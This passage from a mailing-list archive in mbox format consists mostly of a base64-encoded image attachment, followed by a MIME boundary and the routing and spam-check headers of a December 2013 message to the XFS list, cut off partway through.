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 --=_related 0047633604257C44_=-- From luis.henriques@canonical.com Tue Dec 17 07:59:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 47E8F7F3F for ; Tue, 17 Dec 2013 07:59:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 296628F8078 for ; Tue, 17 Dec 2013 05:58:58 -0800 (PST) X-ASG-Debug-ID: 1387288737-04cbb041687d0140001-NocioJ Received: from youngberry.canonical.com (youngberry.canonical.com [91.189.89.112]) by cuda.sgi.com with ESMTP id UbThkUU1x3uOfdHq; Tue, 17 Dec 2013 05:58:57 -0800 (PST) X-Barracuda-Envelope-From: luis.henriques@canonical.com X-Barracuda-Apparent-Source-IP: 